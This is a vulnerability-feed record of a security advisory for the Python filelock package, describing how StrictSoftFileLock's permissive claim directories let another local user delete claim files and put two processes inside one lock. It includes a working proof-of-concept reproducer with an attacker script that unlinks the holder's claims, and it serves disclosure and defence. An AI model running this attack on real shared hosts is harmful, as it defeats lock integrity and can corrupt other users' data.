{"id":"CVE-2026-112908","kind":"vulnerability","aliases":["CVE-2026-112908","GHSA-6627-m3xw-93mp"],"related":[],"title":"filelock: StrictSoftFileLock creates its claim directories without the lock mode, so another local user with a write bit on them can end a live hold","description":"`StrictSoftFileLock` and `AsyncStrictSoftFileLock` apply the caller's `mode` to the sentinel (the lock file at `<path>`) and to both claim files (the files whose presence says a process wants or holds the lock). They create the two directories that hold the claims, `<path>.filelock` and `<path>.filelock/claims`, with a bare `mkdir()`. That gives `0o777` filtered through the umask (a per-process mask that removes permission bits from new files and directories) or, under a parent with a default ACL (an access control list on a directory that sets the permissions of entries created inside it), through that ACL.\n\nA hold consists of two claim names in that directory, which has no sticky bit (a directory flag that lets only a file's owner remove it). When the environment leaves another local user (the other user below) a write bit on the directory, that user can unlink the holder's `0600` claims. Three settings do this: umask `000` in a sticky directory such as `/tmp`, umask `002` with the other user in the directory's group, or a default ACL on the lock's parent that grants the group write (the kernel then ignores the umask). After the unlink, the next contender of the holder's account finds the directory empty and enters. The first holder keeps reporting `is_locked == True` and later releases with no error. Affected versions: filelock >= 3.30.0 and <= 4.2.0 (finding `ANT-2026-AD6SUOON`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L, 5.3 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): the holder must pass a restrictive `mode` while its umask or the parent's default ACL leaves the other user a write bit on new directories, and a contender of the holder's account must ask for the lock after the claims are gone. With the common umask `022` and no default ACL the directories are `0755`, and the kernel refuses the other user's unlink. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the holder's processes act on their own.\n\n`C:N` (no confidentiality impact): the `0600` claim files stay unreadable. `I:H` (high integrity impact): two holders then write the data the lock protects, and neither learns of the other. `A:L` (low availability impact): the same write access lets the other user create names in `claims`, and an empty file named `held-v1-<32 zeros>.claim` makes the next `acquire()` raise `SoftFileLockProtocolError` (\"malformed claim record\") until someone removes it. Classification from the review: security, conditional on a lax umask or a permissive default ACL. The scanner rated it high (CWE-732).\n\n## Scope and preconditions\n\n- The holder passes a restrictive `mode` such as `0o600`. Without one, the umask decides the permissions by documented design (the \"File permissions and mode\" section of `docs/concepts.rst` defines `mode` only for the lock file). Umask `000` with the default mode gives the same two-holder result but is outside this finding.\n- The holder's environment leaves the other user a write bit on new directories. The scanner measured three ways, with `mode=0o600` and the other user a member of group `team`:\n\n  | lock's parent directory | holder's umask | `<path>.filelock` and `claims/` | who can unlink the claims |\n  |---|---|---|---|\n  | `1777`, like `/tmp` | `000` | `0777` | any other local user |\n  | `root:team`, `3775` (setgid, so new entries inherit the group, and sticky) | `002` | `2775` | any member of `team` |\n  | `root:team`, `1770`, default ACL `group:team:rwx` (`setfacl -d -m g:team:rwx`) | `077` | `0770` | any member of `team` |\n  | `root:team`, `3775`, no ACL | `022` | `2755` | no one; the second process times out |\n\n  The default-ACL row is the strongest. A holder with a private umask and `mode=0o600` still gets group-writable claim directories. The lock file in that row is `0600`, because its mode reaches `os.open` and masks the inherited ACL.\n- A contender that may enter asks for the lock: another process of the holder's account, or root. Nothing needs planting beforehand. The holder creates and owns the whole tree, so the existing-directory branch of `_ensure_protocol_directory` (the subject of GHSA-9c4x-gm8v-wgc4) plays no part.\n- Directories that an affected release already created keep their mode. A `0777` `<path>.filelock` from an earlier run stays writable by other users after an upgrade, because filelock does not remove these directories. Upgraders should `chmod` or remove existing `<path>.filelock` trees (see Workarounds).\n- The other lock classes do not have this gap in the same setting. With umask `000` and `mode=0o600`, `FileLock` and `SoftFileLock` create one `0600` file and nothing else, and `SoftReadWriteLock` creates its directories `0700` under any umask. Platform: POSIX permission semantics; demonstrated on Linux.\n\nfilelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock's user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit b831496, the bare `mkdir()` sits in [`_ensure_protocol_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L996-L998). [`StrictSoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L127-L133) calls it for both levels without a mode. It then passes `self._open_mode()` to the sentinel and, through [`_attempt_doorway`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L179-L181), to both claim files. The doorway (the acquire step that scans existing claims and publishes the caller's own) proceeds when the claim scan is empty. [`_unlink_owner_path_result`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L896-L900) counts a missing claim name as removed on release.\n\n## Introduced\n\nThe bare `mkdir()` arrived with the claim directories in 650c17c79c54 (\"feat(strict): replace shared markers with owner claims\", #659, 2026-07-14), first released in 3.30.0. We checked this against the git tags. Every release since 3.30.0 has it.\n\n## Mechanism\n\nA process with umask `000` that takes `StrictSoftFileLock(\"/tmp/<dir>/x.lock\", mode=0o600)` leaves this on disk while it holds the lock, every entry owned by the holder:\n\n```\n0600 x.lock\n0777 x.lock.filelock\n0777 x.lock.filelock/claims\n0600 x.lock.filelock/claims/held-v1-<token>.claim\n0600 x.lock.filelock/claims/intent-v1-<token>.claim\n```\n\nRemoving a name needs write permission on the directory, and these directories are not sticky. Another local user who cannot read either claim can therefore unlink both. Renaming `claims/` away inside the `0777` `<path>.filelock` has the same effect. For this lock class the directory permissions decide who can end a hold. The sentinel at `<path>` is permanent and says nothing about who holds. A contender starts its doorway by listing the claim directory and proceeds when it is empty. Once the two names are gone, the next contender publishes its own intent and held claims and enters. The original holder does not notice. `is_locked` is its own counter, and `_release` removes its claims by name through `_unlink_owner_path_result`, which takes `FileNotFoundError` as \"already removed\". The first process therefore releases with exit status 0. No `force_break()`, lifetime or legacy client takes part.\n\nThe other user's action is a plain `unlink`. The right to do it comes from filelock's `mkdir`, not from anything the application asked for. In the same setting the other user can neither read nor remove the `0600` sentinel in the sticky parent. With the common umask `022` and no default ACL the directories are `0755`. Other users can then list the claim names, which `mode=0o600` does not suggest either, but cannot remove them, and the second process times out.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-AD6SUOON`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport pwd\nimport shutil\nimport stat\nimport subprocess\nimport sys\nimport tempfile\n\nAS_VICTIM = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": [], \"text\": True}\nAS_ATTACKER = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": [], \"text\": True}\n\n\ndef start_victim_service(lock_path, umask):\n    command = [sys.executable, \"/tmp/repro.d/victim_service.py\", lock_path]\n    return subprocess.Popen(command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, umask=umask, **AS_VICTIM)\n\n\ndef hold_lock_while_attacker_strikes(label, shared, victim_umask):\n    lock_path = f\"{shared}/umask{victim_umask:03o}.lock\"\n    claims = f\"{lock_path}.filelock/claims\"\n\n    first = start_victim_service(lock_path, victim_umask)\n    assert first.stdout.readline() == \"entered\\n\"\n    claim_files = [f\"{claims}/{name}\" for name in sorted(os.listdir(claims))]\n    for path in (lock_path, f\"{lock_path}.filelock\", claims, *claim_files):\n        status = os.lstat(path)\n        owner = pwd.getpwuid(status.st_uid).pw_name\n        print(f\"{label}: {stat.S_IMODE(status.st_mode):04o} {owner} {os.path.relpath(path, shared)}\")\n\n    # attack, while the first victim process is inside its critical section\n    attacker = subprocess.run(\n        [sys.executable, \"/tmp/repro.d/attacker_remove_claims.py\", lock_path],\n        stdout=subprocess.PIPE,\n        check=True,\n        **AS_ATTACKER,\n    )\n    for line in attacker.stdout.splitlines():\n        print(f\"{label}: attacker: {line}\")\n    claims_left = len(os.listdir(claims))\n    print(f\"{label}: claims left: {claims_left}\")\n\n    second = start_victim_service(lock_path, victim_umask)\n    second_says = second.stdout.readline().strip()\n    # the first is told to leave only after the second has answered, so an \"entered\" means both were inside at once\n    first_says = first.communicate(\"leave\\n\")[0].strip()\n    second.communicate(\"leave\\n\")\n    print(f\"{label}: second process: {second_says}\")\n    print(f\"{label}: first process, asked afterwards: {first_says}, exit status {first.returncode}\")\n\n    both_inside = second_says == \"entered\" and first_says == \"leaving, is_locked=True\" and first.returncode == 0\n    return claims_left, both_inside\n\n\n# set up: a shared directory like /tmp, sticky and writable by everyone\nshared = tempfile.mkdtemp(prefix=\"strict-mode-\", dir=\"/tmp\")\nos.chmod(shared, 0o1777)\n\n# the two rounds differ only in the umask the victim's processes run with\ncontrol_claims_left, control_both_inside = hold_lock_while_attacker_strikes(\"CONTROL umask 022\", shared, 0o022)\nattack_claims_left, attack_both_inside = hold_lock_while_attacker_strikes(\"OBSERVED umask 000\", shared, 0o000)\nshutil.rmtree(shared)\n\n# check: with mode=0o600, another user must not be able to let a second process in beside the first\nprint(f\"CONTROL two holders at once: {control_both_inside}\")\nprint(f\"OBSERVED two holders at once: {attack_both_inside}\")\ncontrol_excludes = control_claims_left == 2 and not control_both_inside\nprint(\"BUG\" if control_excludes and attack_claims_left == 0 and attack_both_inside else \"OK\")\n```\n\n**`repro.d/attacker_remove_claims.py`**\n\n```python\nimport os\nimport sys\n\nclaims = f\"{sys.argv[1]}.filelock/claims\"\ntry:\n    names = sorted(os.listdir(claims))\nexcept PermissionError:\n    print(\"listing denied\")\n    names = []\n\nfor name in names:\n    try:\n        os.unlink(f\"{claims}/{name}\")\n        print(f\"unlinked {name}\")\n    except PermissionError:\n        print(f\"unlink denied {name}\")\n```\n\n**`repro.d/victim_service.py`**\n\n```python\nimport sys\n\nfrom filelock import StrictSoftFileLock, Timeout\n\nlock = StrictSoftFileLock(sys.argv[1], mode=0o600)\ntry:\n    with lock.acquire(timeout=2):\n        print(\"entered\", flush=True)\n        sys.stdin.readline()  # stay in the critical section until told to leave\n        print(f\"leaving, is_locked={lock.is_locked}\", flush=True)\nexcept Timeout:\n    print(\"Timeout\", flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant H as holder (umask 000, mode=0o600)\n    participant D as x.lock.filelock/claims\n    participant X as other local user\n    participant C as contender (same account as the holder)\n    H->>D: mkdir() both directories: 0777, claims 0600\n    H->>D: publish intent and held claims, enter\n    X->>D: read claim: EACCES (0600)\n    rect rgb(255, 214, 214)\n        X->>D: unlink both claims (directory is 0777, not sticky)\n        C->>D: acquire(): scan finds no claims, publishes, enters\n        Note over H,C: both inside at once\n        H->>D: release(): claims missing, counted as removed, exit status 0\n    end\n    Note over H,D: control under umask 022: directories 0755, unlink denied, contender raises Timeout\n```\n\n## Evidence\n\nThe scanner's reproducer runs the holder's `StrictSoftFileLock(path, mode=0o600)` with `timeout=2` as account `victim` (uid 1000) and the unlink loop as account `attacker` (uid 1001). Both run in a fresh root-owned `1777` directory under `/tmp`, at commit b831496 on Linux 6.1 (overlayfs), CPython 3.14.8. Two rounds differ only in the umask the holder's processes start with.\n\nUnder `CONTROL umask 022`, the directories are `0755`, the kernel denies the unlinks, both claims remain, and the second process prints `Timeout`. Under `OBSERVED umask 000`, every file is still `0600` but `<path>.filelock` and `claims/` are `0777`. The other account prints `unlinked held-v1-<token>.claim` and `unlinked intent-v1-<token>.claim` followed by `claims left: 0`. The second process prints `entered`. The first process prints `leaving, is_locked=True, exit status 0` when asked afterwards. The verdict lines read `CONTROL two holders at once: False` and `OBSERVED two holders at once: True`; the overall verdict is `BUG`. The scanner ran the umask `002` and default-ACL rows of the table by hand at the same commit with the same result.\n\nOur review ran the reproducer against the 4.2.0 release image and the scanned commit (`BUG` on both) and against the head of #839 (`OK`). The review's regression test covers the owner, group-read and group-write modes.\n\n## Impact\n\nAnother local user who gets a write bit on the claim directories ends a live `StrictSoftFileLock` hold. A second honest process of the holder's account then enters the critical section beside the first. Neither holder receives any signal. This is the overlap the strict lock's fail-closed contract exists to rule out. The same write access lets the other user deny the lock by planting a malformed claim name. This does not disclose the claims' contents (the `0600` claim files stay unreadable), and it does not affect holders whose directories came out `0755` or tighter.\n\n## Workarounds\n\nRun processes that take strict locks with umask `022` or `077`. Do not put a default ACL that grants other accounts write on the lock's parent directory; where you intend group sharing, trust every member of that group with the lock. Keep strict locks in a directory other users cannot write. For paths already in use, `chmod 700` (or remove, while no process holds the lock) every existing `<path>.filelock` tree. Its mode comes from creation time and nothing changes it afterwards: `find <dir> -maxdepth 1 -type d -name '*.filelock' -exec chmod -R go-w {} +`.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/839\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-AD6SUOON`, scanned commit b831496b0273)\n- 2026-10-16 01:31 UTC: fix PR #839 opened\n- 2026-10-16 05:39 UTC: draft advisory created (first as part of GHSA-9c4x-gm8v-wgc4, then split into this advisory)","summary":"StrictSoftFileLock creates its claim directories with a bare mkdir, so their permissions follow the umask or a default ACL rather than the requested mode. Another local user with write access to those directories can delete the holder's claim files, letting a second process enter the same critical section while the first still reports it holds the lock.","severity":"medium","cvss":5.3,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"filelock","fixed":["4.2.1"],"affected":">= 3.30.0, <= 4.2.0","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cwe-732","filelock","multi-user-linux","package","python","shared-hosts"],"not_affected_if":["default-config","not-using-strict-soft-filelock","single-user-host","umask-022-no-default-acl"],"how_to_check":"- Run `pip show filelock` and confirm the version is between `3.30.0` and `4.2.0`.\n- Look for lock directories with `ls -ld <lock_path>.filelock <lock_path>.filelock/claims` and check for group or other write bits (for example `0777` or `2775`).\n- Run `getfacl -d <parent_dir>` on the lock's parent to see whether a default ACL grants group or other write access.","fix":"- Upgrade the Python package `filelock` to `4.2.1`.\n- Remove or `chmod` any existing `<path>.filelock` directory tree created by an affected release, since upgrading does not change their mode.\n- Until upgraded, avoid permissive umasks or default ACLs on lock parent directories when using StrictSoftFileLock with a restrictive mode.","status":"open","published_at":"2026-10-28T21:09:04+00:00","first_seen_at":"2026-10-28T21:12:45+00:00","triaged_at":"2026-10-28T21:13:42+00:00","updated_at":"2026-10-28T21:13:42+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-28T21:13:42Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade the Python package `filelock` to `4.2.1`.\n- Remove or `chmod` any existing `<path>.filelock` directory tree created by an affected release, since upgrading does not change their mode.\n- Until upgraded, avoid permissive umasks or default ACLs on lock parent directories when using StrictSoftFileLock with a restrictive mode.","reach":"local","title":"filelock: strict soft locks let another local user end a live hold","impact":"medium","summary":"StrictSoftFileLock creates its claim directories with a bare mkdir, so their permissions follow the umask or a default ACL rather than the requested mode. Another local user with write access to those directories can delete the holder's claim files, letting a second process enter the same critical section while the first still reports it holds the lock.","category":"package","nicknames":[],"who_cares":["python","filelock","shared-hosts","multi-user-linux"],"confidence":0.8,"needs_auth":"yes","worst_case":"Two processes hold the same lock and corrupt protected data.","analyst_note":"","how_to_check":"- Run `pip show filelock` and confirm the version is between `3.30.0` and `4.2.0`.\n- Look for lock directories with `ls -ld <lock_path>.filelock <lock_path>.filelock/claims` and check for group or other write bits (for example `0777` or `2775`).\n- Run `getfacl -d <parent_dir>` on the lock's parent to see whether a default ACL grants group or other write access.","needs_analyst":false,"not_affected_if":["default-config","single-user-host","umask-022-no-default-acl","not-using-strict-soft-filelock"],"who_is_affected":"Teams running StrictSoftFileLock or AsyncStrictSoftFileLock with a restrictive mode such as 0o600 on a shared host, where the umask is lax (for example 000 or 002) or the lock's parent directory has a default ACL granting group write. Systems with a 022 umask and no default ACL produce 0755 directories, which other users cannot modify, so they are not exposed in the same way. Single-user hosts and deployments that don't use StrictSoftFileLock can skip it.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"medium"},"cost_usd":0.001172,"input_tokens":7830,"output_tokens":779,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-112908':28A,36A '-2026':27A,35A,340C '-6627':30A '-732':39B,555C '/av':345C '/tmp':269C,659C '000':262C,594C,660C '002':271C,678C '022':422C,709C '0600':255C,468C,749C '0755':430C '077':698C '0770':699C '0777':661C '0o600':567C,632C,734C '0o777':158C '1770':686C '1777':657C '2755':710C '2775':679C '3.1':344C '3.30.0':335C '32':518C '3775':668C,706C '4.2.0':337C '5.3':354C '93mp':33A 'ac':369C 'access':79B,186C,501C 'account':311C,364C,407C,446C 'acl':68B,184C,203C,284C,389C,426C,548C,688C,708C,721C,759C 'acquir':524C 'act':458C 'ad6suoon':341C 'affect':332C 'anoth':12A,74B,235C 'ant':339C 'appli':111C 'ask':409C,765C 'asyncstrictsoftfilelock':110C 'attack':372C 'av':356C 'avail':496C 'bare':57B,154C 'bit':18A,171C,218C,244C,396C,621C 'c':462C 'caller':113C 'claim':5A,53B,88B,126C,148C,209C,256C,415C,469C,509C,520C,528C,651C,656C,740C 'classif':534C 'common':420C 'complex':373C 'condit':539C 'confidenti':465C 'consist':206C 'contend':306C,402C,761C 'control':187C 'creat':3A,51B,141C,198C,506C 'critic':97B 'cve':26A,34A 'cvss':343C 'cwe':38B,554C 'd':693C 'data':483C 'decid':572C 'default':67B,183C,283C,388C,425C,547C,597C,687C,720C 'default-acl':719C 'defin':586C 'delet':84B 'design':577C 'directori':6A,54B,82B,144C,176C,191C,213C,220C,247C,266C,278C,314C,399C,428C,624C,645C,741C 'docs/concepts.rst':585C 'document':576C 'empti':315C,512C 'end':22A 'enough':448C 'enter':94B,317C,764C 'entri':197C,672C 'environ':233C,614C 'error':331C 'file':89B,121C,127C,129C,174C,226C,470C,513C,579C,592C,744C 'filelock':1A,37A,40B,149C,334C,649C 'filelock/claims':151C 'filter':159C 'find':312C,338C,610C 'first':101B,319C 'flag':221C 'follow':62B 'g':695C 'get':736C 'ghsa':29A 'give':157C,599C 'gone':417C 'grant':291C 'group':280C,293C,640C,675C,689C,738C 'group-writ':737C 'h':370C,474C 'h/a':352C 'h/pr':347C 'held':516C 'held-v1':515C 'high':371C,475C,553C 'hold':25A,105B,137C,146C,205C 'holder':86B,253C,309C,320C,375C,405C,455C,479C,560C,604C,612C,646C,727C 'host':49B,368C 'ignor':298C 'impact':466C,477C,497C 'inherit':673C,758C 'insid':199C 'integr':476C 'interact':453C 'keep':321C 'kernel':296C,433C 'l':353C,357C,441C,494C 'l/ac':346C 'l/ui':348C 'later':327C 'lax':542C 'learn':489C 'leav':234C,390C,615C 'let':90B,223C,502C 'like':658C 'linux':44B 'list':188C 'live':24A 'local':13A,75B,236C,358C,664C 'lock':9A,107B,120C,139C,287C,324C,412C,485C,591C,642C,743C 'low':442C,495C 'm':694C 'm3xw':32A 'm3xw-93mp':31A 'make':521C 'malform':527C 'mask':167C,756C 'may':763C 'measur':627C 'medium':355C 'member':638C,681C,701C 'mkdir':58B,155C 'mode':10A,73B,115C,380C,564C,582C,587C,598C,631C,733C,752C 'multi':42B 'multi-user-linux':41B 'must':376C,408C 'n':450C,463C 'n/i':351C 'n/s':349C 'name':210C,507C,514C 'need':362C 'neither':488C 'new':173C,398C,623C,671C 'next':305C,523C 'one':569C,712C 'os.open':754C 'outsid':608C 'owner':228C 'packag':45B 'parent':180C,289C,386C,644C 'pass':377C,561C 'per':165C 'per-process':164C 'permiss':61B,170C,195C,546C,574C,580C 'pr':440C 'precondit':558C 'presenc':131C 'privat':730C 'privileg':443C 'process':93B,134C,166C,457C,715C 'protect':486C 'python':46B 'rais':525C 'rate':551C 'rather':69B 'reach':753C 'record':529C 'refus':434C 'releas':328C 'remov':169C,229C,532C 'report':103B,322C 'request':72B 'restrict':379C,563C 'result':605C 'review':537C 'root':666C,684C,704C 'row':722C,747C 'rwx':691C,697C 'say':132C 'scanner':550C,626C 'scope':556C 'second':92B,714C 'section':98B,583C 'secur':538C 'sentinel':118C 'set':193C,258C 'setfacl':692C 'setgid':669C 'sever':342C 'share':48B 'shared-host':47B 'softfilelockprotocolerror':526C 'someon':531C 'stay':471C 'sticki':217C,265C,677C 'still':102B,735C 'strictsoftfilelock':2A,50B,108C 'strongest':725C 'team':641C,667C,683C,685C,690C,696C,703C,705C 'three':257C,628C 'time':716C 'true':325C 'two':143C,208C,478C,603C 'two-hold':602C 'u/c':350C 'ui':449C 'umask':64B,162C,261C,270C,300C,383C,421C,543C,571C,593C,648C,731C 'unlink':251C,303C,439C,654C 'unprivileg':445C 'unread':472C 'user':14A,43B,76B,237C,240C,249C,275C,361C,393C,437C,452C,505C,618C,636C,665C 'v1':517C 'version':333C 'want':135C 'way':629C 'whose':130C 'without':7A,568C 'writabl':739C 'write':17A,78B,243C,294C,395C,481C,500C,620C 'zero':519C","nicknames":[],"mitigations":[],"who_affected":"Teams running StrictSoftFileLock or AsyncStrictSoftFileLock with a restrictive mode such as 0o600 on a shared host, where the umask is lax (for example 000 or 002) or the lock's parent directory has a default ACL granting group write. Systems with a 022 umask and no default ACL produce 0755 directories, which other users cannot modify, so they are not exposed in the same way. Single-user hosts and deployments that don't use StrictSoftFileLock can skip it.","tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-28T21:09:04+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-6627-m3xw-93mp","url":"https://github.com/advisories/GHSA-6627-m3xw-93mp","severity":"medium","published_at":"2026-10-28T21:09:04+00:00","modified_at":"2026-10-28T21:09:05+00:00","first_seen_at":"2026-10-28T21:12:45+00:00","fetched_at":"2026-10-28T21:12:45+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}